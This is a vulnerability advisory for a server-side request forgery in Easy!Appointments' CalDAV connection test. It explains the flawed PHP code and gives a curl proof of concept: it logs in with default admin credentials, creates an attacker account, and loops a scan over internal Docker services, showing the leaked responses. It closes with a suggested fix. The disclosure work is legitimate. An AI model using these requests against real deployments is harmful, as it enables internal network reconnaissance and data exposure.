Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal networkCVE-2026-52840

### Summary `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. ### Preconditions - Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row. - Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`. ### Details ```php // application/controllers/Caldav.php:45-82 public function connect_to_server(): void { try { $provider_id = request('provider_id'); $user_id = session('user_id'); if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) { throw new RuntimeException('You do not have the required permissions for this task.'); } $caldav_url = request('caldav_url'); // (*) attacker-controlled $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink ... } catch (GuzzleException | InvalidArgumentException $e) { json_response([ 'success' => false, 'message' => $e->getMessage(), // (*) upstream body reflected ]); } } ``` The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass. When Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network. ### Proof of concept **Setup** 1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack: ```bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done ``` 2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`): ```bash docker compose exec -T php-fpm php index.php console install ``` 3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory: ```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ``` 4. Log in as the attacker into a dedicated cookie jar: ```bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null ``` **Exploit** 1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" ``` Observed (verified on a fresh `docker compose up`): `{"success":false,"message":"Client error: \`REPORT http:\/\/nginx\/some\/404\/path\/\` resulted in a \`404 Not Found\` response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON. 2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim: ```bash for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" done ``` Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \`REPORT http://swagger-ui:8080/\` resulted in a \`405 Not Allowed\` response: <html>\r\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{"success":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist. ### Impact - **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network. - **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client. ```diff $caldav_url = request('caldav_url'); + + $scheme = parse_url($caldav_url, PHP_URL_SCHEME); + $host = parse_url($caldav_url, PHP_URL_HOST) ?: ''; + $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host); + + if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host + || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + throw new InvalidArgumentException('CalDAV URL is not allowed.'); + } + $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); ``` ### Credit Dredsen, 2026.

Quoted source text, attributed separately from HOL analysis.